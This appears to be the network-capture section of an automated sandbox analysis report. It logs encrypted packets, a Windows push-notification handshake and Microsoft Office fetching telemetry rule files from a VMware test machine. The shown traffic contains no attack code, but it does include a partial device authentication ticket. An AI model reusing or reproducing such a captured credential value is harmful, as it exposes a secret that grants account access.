Nov 18, 2024 00:29:21.692935944 CET	1236	IN	Data Raw: 13 d9 fd 05 30 2b 6b f2 45 15 a8 0f 6b f0 d1 a7 b5 88 9f 63 99 57 05 54 90 5d 41 f4 e0 79 01 a3 1c b0 c6 53 53 7b 68 d1 f9 21 29 c8 b3 5a f7 7e 0f 40 fb ea 6a d4 1e 85 63 76 3d fa 0c ad 53 c7 5f bf 20 8c e6 b5 a5 ea 95 99 74 9f ba f3 d4 19 d1 0c Data Ascii: 0+kEkcWT]AySS{h!)Z~@jcv=S_ tgW$#f,Sd[s9cRzdMt@Z6AUQ,B$Xau#f}#(&Wx-rPf+s.KDzBd#C"Im,sbp"\|I
Nov 18, 2024 00:29:21.692970037 CET	424	IN	Data Raw: 9b 5e 55 ea c8 04 30 09 a0 ad 6f 98 39 07 3a 09 34 d5 70 69 3b c7 68 0f ab 1d 64 83 ff 02 7a eb ec f2 4e 4d 5b 8e 0f d1 38 74 27 92 6d d5 b8 69 22 6b 23 ba 3c 56 55 71 64 2f 27 55 80 14 9d 28 5c 63 f2 ae 37 5e 00 18 5f 83 bd 60 7c 5d 23 cd 0c 6f Data Ascii: ^U0o9:4pi;hdzNM[8t'mi"k#<VUqd/'U(\c7^_`\|]#o,za7n]$^__aC9Vejc#1#(vcRAvO+:uoC{Th;#w-f3e]kZI0k)To}@NVPbq
Nov 18, 2024 00:29:21.695116043 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 18, 2024 00:29:21.695147991 CET	1236	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(w.A?o}'S54 N9E
Nov 18, 2024 00:29:21.695183039 CET	424	IN	Data Raw: e4 06 be 7d 2a a6 43 9e ff d1 4e c1 98 f1 24 f0 96 65 fb e0 b9 97 ea 12 4d ed e9 69 9d 76 c2 28 05 01 38 41 0d ca 7e ae 92 c2 1d 02 df f9 00 db c5 11 f5 e2 59 6a 5f bd 95 30 16 f5 e5 c4 df 4e 75 05 05 ab 33 06 f4 70 f4 23 fc 98 3c 08 ac 3f c5 ff Data Ascii: }CN$eMiv(8A~Yj_0Nu3p#<?hJqg}UMR^N5u&;,r/xB4wcZ.3ApDvg:]U5M3'8kNBM2h#gI?T0+]`5B1E^go$
Nov 18, 2024 00:29:21.698206902 CET	1236	IN	Data Raw: 84 f0 98 20 cb 7a 7a d2 2b 7c 9c cf 4d 80 85 a1 c0 a1 c5 97 a6 60 56 db 3b ef 93 30 9a 5d e3 a7 90 c4 f7 2a 21 72 a6 df 98 af 5f 54 57 db 87 70 2d 45 63 d2 a6 a3 f8 37 84 c7 b0 a5 c3 82 69 9b ae 52 33 2e 03 33 28 38 19 cd 9e 46 0e b9 df 50 df 39 Data Ascii: zz+\|M`V;0]!r_TWp-Ec7iR3.3(8FP98BV{EB-REwLc^y,j}]9>1CA+#(/:jJ78EySl!!i9F~^5v>:Kd$,KIv%!kQHI8>
Nov 18, 2024 00:29:21.698240042 CET	1236	IN	Data Raw: db 5a f6 ef 70 85 92 e6 a4 0d 11 68 e3 23 a1 8f bb c9 69 e3 eb b3 9d b4 36 3e 26 27 7f 8d ea 68 18 f1 9a bb d9 97 27 00 5f 01 eb 91 14 97 1b 8f 16 b8 9f 95 dc 70 a6 d4 1a d9 54 49 3a 65 45 19 31 a7 fd e0 96 d7 67 a1 ae 5e 7c 7d 8e 22 79 4d e2 8e Data Ascii: Zph#i6>&'h'_pTI:eE1g^\|}"yMLG:wp;Rbz"9a9kPglYhoQ37e"q3eUX_'>y Yb`&Fh.Eb8!iQrGo~&l(lvt

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49711	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4d 6f 70 34 65 53 68 4f 64 30 32 42 4a 50 74 41 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 64 34 37 37 38 63 63 31 34 33 34 30 36 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Mop4eShOd02BJPtA.1Context: 53d4778cc143406f
2024-11-17 23:27:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 23:27:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4d 6f 70 34 65 53 68 4f 64 30 32 42 4a 50 74 41 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 64 34 37 37 38 63 63 31 34 33 34 30 36 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 61 78 47 5a 30 5a 48 32 69 50 4b 76 74 4c 72 72 51 57 64 53 45 4d 76 73 4e 51 34 78 42 48 4e 34 35 37 46 6e 41 52 34 34 43 2b 74 4e 39 49 44 78 2b 42 4b 4a 37 56 5a 59 74 45 79 34 79 7a 6b 6e 68 36 63 4b 6c 62 49 66 30 2b 52 6e 51 47 69 6e 2f 72 4d 52 6d 4d 55 6b 59 6a 43 69 41 38 64 32 6c 61 79 73 72 43 6f 73 2b 59 7a 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Mop4eShOd02BJPtA.2Context: 53d4778cc143406f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWaxGZ0ZH2iPKvtLrrQWdSEMvsNQ4xBHN457FnAR44C+tN9IDx+BKJ7VZYtEy4yzknh6cKlbIf0+RnQGin/rMRmMUkYjCiA8d2laysrCos+YzA
2024-11-17 23:27:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4d 6f 70 34 65 53 68 4f 64 30 32 42 4a 50 74 41 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 64 34 37 37 38 63 63 31 34 33 34 30 36 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Mop4eShOd02BJPtA.3Context: 53d4778cc143406f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 23:27:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 23:27:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 75 2f 4c 6c 47 53 6c 71 72 45 57 51 39 44 51 55 5a 64 78 4f 44 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: u/LlGSlqrEWQ9DQUZdxODQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:16 UTC	492	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232716Z-16547b76f7fhv4d5hC1DFW7h0n00000003c0000000007p7p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:16 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-17 23:27:16 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-17 23:27:16 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-17 23:27:16 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-17 23:27:16 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-17 23:27:16 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-17 23:27:16 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-17 23:27:17 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-17 23:27:17 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-17 23:27:17 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232718Z-16547b76f7f5b5tthC1DFWuk8400000003n0000000009ech x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232718Z-16547b76f7f5b5tthC1DFWuk8400000003k000000000e4x9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
